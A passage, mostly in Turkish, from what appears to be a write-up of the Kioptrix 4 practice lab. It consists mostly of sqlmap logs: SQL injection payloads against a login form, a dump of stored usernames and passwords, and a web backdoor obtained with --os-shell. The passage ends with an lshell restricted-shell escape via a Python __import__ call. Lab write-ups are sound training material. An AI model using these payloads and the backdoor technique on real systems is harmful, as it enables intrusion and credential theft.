dynamic\n[20:34:07] [WARNING] (custom) POST parameter '#1*' does not appear to be dynamic\n[20:34:07] [INFO] heuristic (basic) test shows that (custom) POST parameter '#1*' might be injectable (possible DBMS: 'MySQL')\n[20:34:08] [INFO] testing for SQL injection on (custom) POST parameter '#1*'\n[20:34:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'\n[20:34:08] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'\ngot a 302 redirect to 'http:\/\/10.10.250.143:80\/login_success.php?username=john'. Do you want to follow? [Y\/n] Y\nredirect is a result of a POST request. Do you want to resend original POST data to a new location? [y\/N] N\n[20:34:08] [INFO] (custom) POST parameter '#1*' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable (with --code=302)\n[20:34:08] [INFO] testing 'Generic inline queries'\n[20:34:08] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'\n[20:34:08] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'\n[20:34:08] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'\n[20:34:08] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'\n[20:34:08] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'\n[20:34:08] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'\n[20:34:08] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'\n[20:34:08] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'\n[20:34:08] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'\n[20:34:08] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'\n[20:34:08] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'\n[20:34:08] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'\n[20:34:08] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'\n[20:34:08] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'\n[20:34:08] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'\n[20:34:08] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'\n[20:34:08] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'\n[20:34:09] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'\n[20:34:09] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'\n[20:34:09] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'\n[20:34:09] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'\n[20:34:09] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'\n[20:34:09] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'\n[20:34:09] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'\n[20:34:09] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'\n[20:34:09] [INFO] testing 'MySQL inline queries'\n[20:34:09] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'\n[20:34:09] [INFO] testing 'MySQL >= 5.0.12 stacked queries'\n[20:34:09] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'\n[20:34:09] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'\n[20:34:09] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'\n[20:34:09] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'\n[20:34:09] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'\n[20:34:19] [INFO] (custom) POST parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable \n[20:34:19] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'\n[20:34:19] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found\n[20:34:19] [INFO] target URL appears to be UNION injectable with 3 columns\ninjection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y\/n] Y\n[20:34:21] [INFO] testing 'Generic UNION query (44) - 21 to 40 columns'\n[20:34:21] [INFO] testing 'Generic UNION query (44) - 41 to 60 columns'\n[20:34:21] [INFO] testing 'Generic UNION query (44) - 61 to 80 columns'\n[20:34:21] [INFO] testing 'Generic UNION query (44) - 81 to 100 columns'\n[20:34:21] [INFO] testing 'MySQL UNION query (44) - 1 to 20 columns'\n[20:34:22] [INFO] testing 'MySQL UNION query (44) - 21 to 40 columns'\n[20:34:22] [INFO] testing 'MySQL UNION query (44) - 41 to 60 columns'\n[20:34:22] [INFO] testing 'MySQL UNION query (44) - 61 to 80 columns'\n[20:34:22] [INFO] testing 'MySQL UNION query (44) - 81 to 100 columns'\n[20:34:23] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval\n[20:34:23] [INFO] checking if the injection point on (custom) POST parameter '#1*' is a false positive\n(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y\/N] N\nsqlmap identified the following injection point(s) with a total of 410 HTTP(s) requests:\n---\nParameter: #1* ((custom) POST)\n    Type: boolean-based blind\n    Title: OR boolean-based blind - WHERE or HAVING clause\n    Payload: myusername=john&mypassword=-2262' OR 9060=9060-- bdOi&Submit=Login\n\n    Type: time-based blind\n    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n    Payload: myusername=john&mypassword=' AND (SELECT 4860 FROM (SELECT(SLEEP(5)))DpBy)-- lDjm&Submit=Login\n---\n[20:34:24] [INFO] the back-end DBMS is MySQL\nweb server operating system: Linux Ubuntu 8.04 (Hardy Heron)\nweb application technology: PHP 5.2.4, PHP, Apache 2.2.8\nback-end DBMS: MySQL >= 5.0.12\n[20:34:24] [INFO] fetching database names\n[20:34:24] [INFO] fetching number of databases\n[20:34:24] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval\n[20:34:24] [INFO] retrieved: 3\n[20:34:24] [INFO] retrieved: information_schema\n[20:34:29] [INFO] retrieved: members\n[20:34:30] [INFO] retrieved: mysql\navailable databases [3]:\n[*] information_schema\n[*] members\n[*] mysql\n\n[20:34:32] [INFO] fetched data logged to text files under '\/root\/.local\/share\/sqlmap\/output\/10.10.250.143'\n\n[*] ending @ 20:34:32 \/2021-05-22\/\n<\/code><\/pre>\n
Harika! Burp'tede ba\u015far\u0131l\u0131bir \u015fekilde \u015fifreleri g\u00f6rebiliyordum. Ancak \u015fimdi sqlmap ile db'leri okuyaca\u011f\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix4]\n\u2514\u2500# sqlmap -r istek.txt --level=5 --risk=3 --dbs -dbms="Mysql" --batch -D members -T members --dump                                                                                                2 \u2a2f\n        ___\n       __H__\n ___ ___[.]_____ ___ ___  {1.5.2#stable}\n|_ -| . ["]     | .'| . |\n|___|_  [,]_|_|_|__,|  _|\n      |_|V...       |_|   http:\/\/sqlmap.org\n\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\n\n[*] starting @ 20:36:12 \/2021-05-22\/\n\n[20:36:12] [INFO] parsing HTTP request from 'istek.txt'\ncustom injection marker ('*') found in POST body. Do you want to process it? [Y\/n\/q] Y\n[20:36:12] [INFO] testing connection to the target URL\nsqlmap resumed the following injection point(s) from stored session:\n---\nParameter: #1* ((custom) POST)\n    Type: boolean-based blind\n    Title: OR boolean-based blind - WHERE or HAVING clause\n    Payload: myusername=john&mypassword=-2262' OR 9060=9060-- bdOi&Submit=Login\n\n    Type: time-based blind\n    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n    Payload: myusername=john&mypassword=' AND (SELECT 4860 FROM (SELECT(SLEEP(5)))DpBy)-- lDjm&Submit=Login\n---\n[20:36:12] [INFO] testing MySQL\n[20:36:12] [INFO] confirming MySQL\n[20:36:12] [INFO] the back-end DBMS is MySQL\nweb server operating system: Linux Ubuntu 8.04 (Hardy Heron)\nweb application technology: PHP 5.2.4, Apache 2.2.8\nback-end DBMS: MySQL >= 5.0.0\n[20:36:12] [INFO] fetching database names\n[20:36:12] [INFO] fetching number of databases\n[20:36:12] [INFO] resumed: 3\n[20:36:12] [INFO] resumed: information_schema\n[20:36:12] [INFO] resumed: members\n[20:36:12] [INFO] resumed: mysql\navailable databases [3]:\n[*] information_schema\n[*] members\n[*] mysql\n\n[20:36:12] [INFO] fetching columns for table 'members' in database 'members'\n[20:36:12] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval\n[20:36:12] [INFO] retrieved: \ngot a 302 redirect to 'http:\/\/10.10.250.143:80\/login_success.php?username=john'. Do you want to follow? [Y\/n] Y\nredirect is a result of a POST request. Do you want to resend original POST data to a new location? [y\/N] N\n3\n[20:36:12] [INFO] retrieved: id\n[20:36:13] [INFO] retrieved: username\n[20:36:14] [INFO] retrieved: password\n[20:36:17] [INFO] fetching entries for table 'members' in database 'members'\n[20:36:17] [INFO] fetching number of entries for table 'members' in database 'members'\n[20:36:17] [INFO] retrieved: 2\n[20:36:17] [INFO] retrieved: 1\n[20:36:17] [INFO] retrieved: MyNameIsJohn\n[20:36:20] [INFO] retrieved: john\n[20:36:21] [INFO] retrieved: 2\n[20:36:22] [INFO] retrieved: ADGAdsafdfwt4gadfga==\n[20:36:26] [INFO] retrieved: robert\nDatabase: members\nTable: members\n[2 entries]\n+----+-----------------------+----------+\n| id | password              | username |\n+----+-----------------------+----------+\n| 1  | MyNameIsJohn          | john     |\n| 2  | ADGAdsafdfwt4gadfga== | robert   |\n+----+-----------------------+----------+\n\n[20:36:28] [INFO] table 'members.members' dumped to CSV file '\/root\/.local\/share\/sqlmap\/output\/10.10.250.143\/dump\/members\/members.csv'\n[20:36:28] [INFO] fetched data logged to text files under '\/root\/.local\/share\/sqlmap\/output\/10.10.250.143'\n\n[*] ending @ 20:36:28 \/2021-05-22\/\n<\/code><\/pre>\n
Ve daha sonras\u0131nda --os--shell<\/strong> denedim. G\u00f6r\u00fcld\u00fc\u011f\u00fc \u00fczere ba\u015far\u0131l\u0131 oldum. Art\u0131k hak y\u00fckseltmem gerekecek.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix4]\n\u2514\u2500# sqlmap -r istek.txt --level=5 --risk=3 --dbs -dbms="Mysql" --batch -D members -T members --dump --os-shell\n        ___\n       __H__\n ___ ___[.]_____ ___ ___  {1.5.2#stable}\n|_ -| . [']     | .'| . |\n|___|_  ["]_|_|_|__,|  _|\n      |_|V...       |_|   http:\/\/sqlmap.org\n\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\n\n[*] starting @ 20:40:02 \/2021-05-22\/\n\n[20:40:02] [INFO] parsing HTTP request from 'istek.txt'\ncustom injection marker ('*') found in POST body. Do you want to process it? [Y\/n\/q] Y\n[20:40:02] [INFO] testing connection to the target URL\nsqlmap resumed the following injection point(s) from stored session:\n---\nParameter: #1* ((custom) POST)\n    Type: boolean-based blind\n    Title: OR boolean-based blind - WHERE or HAVING clause\n    Payload: myusername=john&mypassword=-2262' OR 9060=9060-- bdOi&Submit=Login\n\n    Type: time-based blind\n    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n    Payload: myusername=john&mypassword=' AND (SELECT 4860 FROM (SELECT(SLEEP(5)))DpBy)-- lDjm&Submit=Login\n---\n[20:40:02] [INFO] testing MySQL\n[20:40:02] [INFO] confirming MySQL\n[20:40:02] [INFO] the back-end DBMS is MySQL\nweb server operating system: Linux Ubuntu 8.04 (Hardy Heron)\nweb application technology: PHP 5.2.4, Apache 2.2.8\nback-end DBMS: MySQL >= 5.0.0\n[20:40:02] [INFO] fetching database names\n[20:40:02] [INFO] fetching number of databases\n[20:40:02] [INFO] resumed: 3\n[20:40:02] [INFO] resumed: information_schema\n[20:40:02] [INFO] resumed: members\n[20:40:02] [INFO] resumed: mysql\navailable databases [3]:\n[*] information_schema\n[*] members\n[*] mysql\n\n[20:40:02] [INFO] fetching columns for table 'members' in database 'members'\n[20:40:02] [INFO] resumed: 3\n[20:40:02] [INFO] resumed: id\n[20:40:02] [INFO] resumed: username\n[20:40:02] [INFO] resumed: password\n[20:40:02] [INFO] fetching entries for table 'members' in database 'members'\n[20:40:02] [INFO] fetching number of entries for table 'members' in database 'members'\n[20:40:02] [INFO] resumed: 2\n[20:40:02] [INFO] resumed: 1\n[20:40:02] [INFO] resumed: MyNameIsJohn\n[20:40:02] [INFO] resumed: john\n[20:40:02] [INFO] resumed: 2\n[20:40:02] [INFO] resumed: ADGAdsafdfwt4gadfga==\n[20:40:02] [INFO] resumed: robert\nDatabase: members\nTable: members\n[2 entries]\n+----+-----------------------+----------+\n| id | password              | username |\n+----+-----------------------+----------+\n| 1  | MyNameIsJohn          | john     |\n| 2  | ADGAdsafdfwt4gadfga== | robert   |\n+----+-----------------------+----------+\n\n[20:40:02] [INFO] table 'members.members' dumped to CSV file '\/root\/.local\/share\/sqlmap\/output\/10.10.250.143\/dump\/members\/members.csv'\n[20:40:02] [INFO] going to use a web backdoor for command prompt\n[20:40:02] [INFO] fingerprinting the back-end DBMS operating system\n[20:40:02] [INFO] the back-end DBMS operating system is Linux\nwhich web application language does the web server support?\n[1] ASP\n[2] ASPX\n[3] JSP\n[4] PHP (default)\n> 4\n[20:40:02] [INFO] retrieved the web server document root: '\/var\/www'\n[20:40:02] [INFO] retrieved web server absolute paths: '\/var\/www\/checklogin.php'\n[20:40:02] [INFO] trying to upload the file stager on '\/var\/www\/' via LIMIT 'LINES TERMINATED BY' method\n[20:40:02] [INFO] the file stager has been successfully uploaded on '\/var\/www\/' - http:\/\/10.10.250.143:80\/tmpugudv.php\n[20:40:02] [WARNING] unable to upload the file through the web file stager to '\/var\/www\/'\n[20:40:02] [WARNING] backdoor has not been successfully uploaded through the file stager possibly because the user running the web server process has not write privileges over the folder where the user running the DBMS process was able to upload the file stager or because the DBMS and web server sit on different servers\ndo you want to try the same method used for the file stager? [Y\/n] Y\n[20:40:02] [INFO] the backdoor has been successfully uploaded on '\/var\/www\/' - http:\/\/10.10.250.143:80\/tmpbcthz.php\n[20:40:02] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER\nos-shell> whoami\ndo you want to retrieve the command standard output? [Y\/n\/a] Y\ncommand standard output: 'www-data'\nos-shell> ls\ndo you want to retrieve the command standard output? [Y\/n\/a] Y\ncommand standard output:\n---\nchecklogin.php\ndatabase.sql\nimages\nindex.php\njohn\nlogin_success.php\nlogout.php\nmember.php\nrobert\ntmpbcthz.php\ntmpugudv.php\n---<\/code><\/pre>\n
Biraz makine i\u00e7erisinde gezindikten sonra mysql servisinin rroot haklar\u0131 ile \u00e7al\u0131\u015ft\u0131\u011f\u0131n\u0131 farkettim.<\/p>\n
os-shell> ps aux | grep root\ndo you want to retrieve the command standard output? [Y\/n\/a] Y\ncommand standard output:\n---\nroot         1  0.0  0.3   2844  1696 ?        Ss   21:55   0:01 \/sbin\/init\nroot         2  0.0  0.0      0     0 ?        S<   21:55   0:00 [kthreadd]\nroot         3  0.0  0.0      0     0 ?        S<   21:55   0:00 [migration\/0]\nroot         4  0.0  0.0      0     0 ?        S<   21:55   0:00 [ksoftirqd\/0]\nroot         5  0.0  0.0      0     0 ?        S<   21:55   0:00 [watchdog\/0]\nroot         6  0.0  0.0      0     0 ?        S<   21:55   0:00 [events\/0]\nroot         7  0.0  0.0      0     0 ?        S<   21:55   0:00 [khelper]\nroot        41  0.0  0.0      0     0 ?        S<   21:55   0:00 [kblockd\/0]\nroot        44  0.0  0.0      0     0 ?        S<   21:55   0:00 [kacpid]\nroot        45  0.0  0.0      0     0 ?        S<   21:55   0:00 [kacpi_notify]\nroot       174  0.0  0.0      0     0 ?        S<   21:55   0:00 [kseriod]\nroot       213  0.0  0.0      0     0 ?        S    21:55   0:00 [pdflush]\nroot       214  0.0  0.0      0     0 ?        S    21:55   0:00 [pdflush]\nroot       215  0.0  0.0      0     0 ?        S<   21:55   0:00 [kswapd0]\nroot       257  0.0  0.0      0     0 ?        S<   21:55   0:00 [aio\/0]\nroot      1473  0.0  0.0      0     0 ?        S<   21:55   0:00 [ata\/0]\nroot      1476  0.0  0.0      0     0 ?        S<   21:55   0:00 [ata_aux]\nroot      1485  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_0]\nroot      1488  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_1]\nroot      1504  0.0  0.0      0     0 ?        S<   21:55   0:00 [ksuspend_usbd]\nroot      1508  0.0  0.0      0     0 ?        S<   21:55   0:00 [khubd]\nroot      2366  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_2]\nroot      2492  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_3]\nroot      2493  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_4]\nroot      2494  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_5]\nroot      2495  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_6]\nroot      2496  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_7]\nroot      2497  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_8]\nroot      2498  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_9]\nroot      2499  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_10]\nroot      2500  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_11]\nroot      2501  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_12]\nroot      2502  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_13]\nroot      2503  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_14]\nroot      2504  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_15]\nroot      2505  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_16]\nroot      2506  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_17]\nroot      2507  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_18]\nroot      2508  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_19]\nroot      2509  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_20]\nroot      2510  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_21]\nroot      2511  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_22]\nroot      2512  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_23]\nroot      2513  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_24]\nroot      2514  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_25]\nroot      2515  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_26]\nroot      2516  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_27]\nroot      2517  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_28]\nroot      2518  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_29]\nroot      2519  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_30]\nroot      2520  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_31]\nroot      2521  0.0  0.0      0     0 ?        S<   21:55   0:00 [scsi_eh_32]\nroot      2727  0.0  0.0      0     0 ?        S<   21:55   0:00 [kjournald]\nroot      2894  0.0  0.1   2236   720 ?        S<s  21:55   0:00 \/sbin\/udevd --daemon\nroot      3215  0.0  0.0      0     0 ?        S<   21:55   0:00 [kgameportd]\nroot      3250  0.0  0.0      0     0 ?        S<   21:55   0:00 [btaddconn]\nroot      3251  0.0  0.0      0     0 ?        S<   21:55   0:00 [btdelconn]\nroot      3398  0.0  0.0      0     0 ?        S<   21:55   0:00 [kpsmoused]\nroot      4695  0.0  0.0   1716   488 tty4     Ss+  21:55   0:00 \/sbin\/getty 38400 tty4\nroot      4697  0.0  0.0   1716   488 tty5     Ss+  21:55   0:00 \/sbin\/getty 38400 tty5\nroot      4703  0.0  0.0   1716   492 tty2     Ss+  21:55   0:00 \/sbin\/getty 38400 tty2\nroot      4707  0.0  0.0   1716   492 tty3     Ss+  21:55   0:00 \/sbin\/getty 38400 tty3\nroot      4711  0.0  0.0   1716   492 tty6     Ss+  21:55   0:00 \/sbin\/getty 38400 tty6\nroot      4763  0.0  0.1   1872   540 ?        S    21:55   0:00 \/bin\/dd bs 1 if \/proc\/kmsg of \/var\/run\/klogd\/kmsg\nroot      4784  0.0  0.1   5316   988 ?        Ss   21:55   0:00 \/usr\/sbin\/sshd\nroot      4840  0.0  0.1   1772   528 ?        S    21:55   0:00 \/bin\/sh \/usr\/bin\/mysqld_safe\nroot      4882  0.4  6.4 127252 33336 ?        Sl   21:55   0:26 \/usr\/sbin\/mysqld --basedir=\/usr --datadir=\/var\/lib\/mysql --user=root --pid-file=\/var\/run\/mysqld\/mysqld.pid --skip-external-locking --port=3306 --socket=\/var\/run\/mysqld\/mysqld.sock\nroot      4884  0.0  0.1   1700   560 ?        S    21:55   0:00 logger -p daemon.err -t mysqld_safe -i -t mysqld\nroot      4957  0.0  0.2   6528  1320 ?        Ss   21:55   0:00 \/usr\/sbin\/nmbd -D\nroot      4959  0.0  0.4  10108  2524 ?        Ss   21:55   0:00 \/usr\/sbin\/smbd -D\nroot      4973  0.0  0.2   8084  1352 ?        Ss   21:55   0:00 \/usr\/sbin\/winbindd\nroot      4977  0.0  0.2   8084  1164 ?        S    21:55   0:00 \/usr\/sbin\/winbindd\nroot      5005  0.0  0.1   2104   888 ?        Ss   21:55   0:00 \/usr\/sbin\/cron\nroot      5027  0.0  1.2  20464  6188 ?        Ss   21:55   0:00 \/usr\/sbin\/apache2 -k start\nroot      5049  0.0  0.2   8092  1272 ?        S    21:55   0:00 \/usr\/sbin\/winbindd\nroot      5053  0.0  0.1   8084   872 ?        S    21:55   0:00 \/usr\/sbin\/winbindd\nroot      5056  0.0  0.1  10108  1028 ?        S    21:55   0:00 \/usr\/sbin\/smbd -D\nroot      5086  0.0  0.0   1716   488 tty1     Ss+  21:55   0:00 \/sbin\/getty 38400 tty1\nwww-data  5637  0.0  0.0   1772   484 ?        R    23:41   0:00 sh -c ps aux | grep root 2>&1?\n---\nos-shell> \n<\/code><\/pre>\n
Ayn\u0131 zamanda mysql servisinde root'un \u015fifresi yok.<\/p>\n
os-shell> cat checklogin.php\ndo you want to retrieve the command standard output? [Y\/n\/a] Y\ncommand standard output:\n---\n<?php\nob_start();\n$host="localhost"; \/\/ Host name\n$username="root"; \/\/ Mysql username\n$password=""; \/\/ Mysql password\n$db_name="members"; \/\/ Database name\n$tbl_name="members"; \/\/ Table name\n\n\/\/ Connect to server and select databse.\nmysql_connect("$host", "$username", "$password")or die("cannot connect");\nmysql_select_db("$db_name")or die("cannot select DB");\n\n\/\/ Define $myusername and $mypassword\n$myusername=$_POST['myusername'];\n$mypassword=$_POST['mypassword'];\n\n\/\/ To protect MySQL injection (more detail about MySQL injection)\n$myusername = stripslashes($myusername);\n\/\/$mypassword = stripslashes($mypassword);\n$myusername = mysql_real_escape_string($myusername);\n\/\/$mypassword = mysql_real_escape_string($mypassword);\n\n\/\/$sql="SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'";\n$result=mysql_query("SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'");\n\/\/$result=mysql_query($sql);\n\n\/\/ Mysql_num_row is counting table row\n$count=mysql_num_rows($result);\n\/\/ If result matched $myusername and $mypassword, table row must be 1 row\n\nif($count!=0){\n\/\/ Register $myusername, $mypassword and redirect to file "login_success.php"\n    session_register("myusername");\n    session_register("mypassword");\n    header("location:login_success.php?username=$myusername");\n}\nelse {\necho "Wrong Username or Password";\nprint('<form method="link" action="index.php"><input type=submit value="Try Again"><\/form>');\n}\n\nob_end_flush();\n?>\n---<\/code><\/pre>\n
Belirli bir notadan sonra t\u0131kand\u0131m ve kullan\u0131c\u0131lar ile ssh servisne y\u00f6neldim. \/etc\/passwd dosyas\u0131na bakt\u0131\u011f\u0131mda kullan\u0131c\u0131lar\u0131n lshell isimli bir kabuk kulland\u0131klar\u0131n\u0131 g\u00f6rd\u00fcm. Bunu internette ara\u015ft\u0131rd\u0131\u011f\u0131mda bir exploit oldu\u011funu farkettim ancak s\u00fcr\u00fcmler benimki ile uyu\u015fmuyordu. Yineden exploiti okuyup inceledim.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix4]\n\u2514\u2500# searchsploit lshell        \n---------------------------------------------------------------- ---------------------------------\n Exploit Title                                                  |  Path\n---------------------------------------------------------------- ---------------------------------\nHorde 3.3.5 - '\/Administration Interface admin\/sqlshell.php?PAT | php\/webapps\/33408.txt\nLShell 0.9.15 - Remote Code Execution                           | linux\/remote\/39632.py\n---------------------------------------------------------------- ---------------------------------\nShellcodes: No Results\n\n\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix4]\n\u2514\u2500# locate linux\/remote\/39632.py\n\/usr\/share\/exploitdb\/exploits\/linux\/remote\/39632.py\n\n\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix4]\n\u2514\u2500# cp \/usr\/share\/exploitdb\/exploits\/linux\/remote\/39632.py .\n\n\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix4]\n\u2514\u2500# head -n 20 39632.py                                         \nimport paramiko\nimport traceback\nfrom time import sleep\n\n#\n# Exploit lshell pathing vulnerability in <= 0.9.15.\n# Runs commands on the remote system.\n# @dronesec\n#\n\nif len(sys.argv) < 4:\n    print '%s: [USER] [PW] [IP] {opt: port}'%(sys.argv[0])\n    sys.exit(1)\n\ntry:\n    print '[!] .............................'\n    print '[!] lshell <= 0.9.15 remote shell.'\n    print '[!] note: you can also ssh in and execute \\'\/bin\/bash\\''\n    print '[!] .............................'\n    print '[!] Checking host %s...'%(sys.argv[3])\n...<\/code><\/pre>\n
Dikkatimi \u00e7eken k\u0131s\u0131m :  cmd = 'echo import<\/strong>(\\'os\\').system(\\'%s\\')'%(cmd.replace(' ',r'\\t')) <\/strong> k\u0131sm\u0131.Daha onra acaba ger\u00e7ekten k\u0131s\u0131tl\u0131 shellden \u00e7\u0131kabilir miyim diye d\u00fc\u015f\u00fcnd\u00fcm. cat \/bin\/kshell dedi\u011fimde birde projenin python ile yaz\u0131ld\u0131\u011f\u0131n\u0131 g\u00f6r\u00fcnce daha da heycanland\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix4]\n\u2514\u2500# ssh john@10.10.250.143\njohn@10.10.250.143's password: \nWelcome to LigGoat Security Systems - We are Watching\n== Welcome LigGoat Employee ==\nLigGoat Shell is in place so you  don't screw up\nType '?' or 'help' to get the list of allowed commands\njohn:~$ \njohn:~$ \njohn:~$ echo __import__('os').system('\/bin\/sh')\n$ \n$ \n$ whoami\njohn\n<\/code><\/pre>\n
Gayet heycanl\u0131 gidiyor. \u015eimdi mysql'e ba\u011flanal\u0131m. Ancak \u00f6ncesinde biraz \u00f6zetlemek istiyorum \u00e7\u00fcnk\u00fc \u00e7ok da\u011f\u0131n\u0131k g\u00f6r\u00fcnd\u00fc\u011f\u00fcn\u00fc d\u00fc\u015f\u00fcn\u00fcyorum. sqlmap ile --os-shell<\/strong> ile shell ba\u011flant\u0131s\u0131 buldum. cat \/etc\/passwd<\/strong> ile kullan\u0131c\u0131lar\u0131 ve bu kullan\u0131c\u0131lar\u0131n shell'lerini g\u00f6rd\u00fcm. O esnada john kullan\u0131c\u0131s\u0131 i\u00e7in john:x:1001:1001:,,,:\/home\/john:\/bin\/kshell<\/strong> ifadesi yer al\u0131yordu. cat \/bin\/kshell<\/strong> ile okuma i\u015flemi yapt\u0131m ve bunun python ile yaz\u0131ld\u0131\u011f\u0131n\u0131 g\u00f6rd\u00fcm. \u00c7\u0131kan kodlar i\u00e7erisinde """ calls lshell function """<\/strong> sat\u0131r\u0131n\u0131 farketti. Bunun \u00fczerine searchsploit lshell<\/strong> ile linux\/remote\/39632.py<\/strong> exploitini elde ettim ve echo import<\/strong>('os').system('\/bin\/sh')<\/strong> sat\u0131r\u0131n\u0131 elde ettim. Daha sonras\u0131 k\u0131s\u0131tl\u0131 shell'den \u00e7\u0131kma oldu. \u015eimdi devam edelim.<\/p>\n
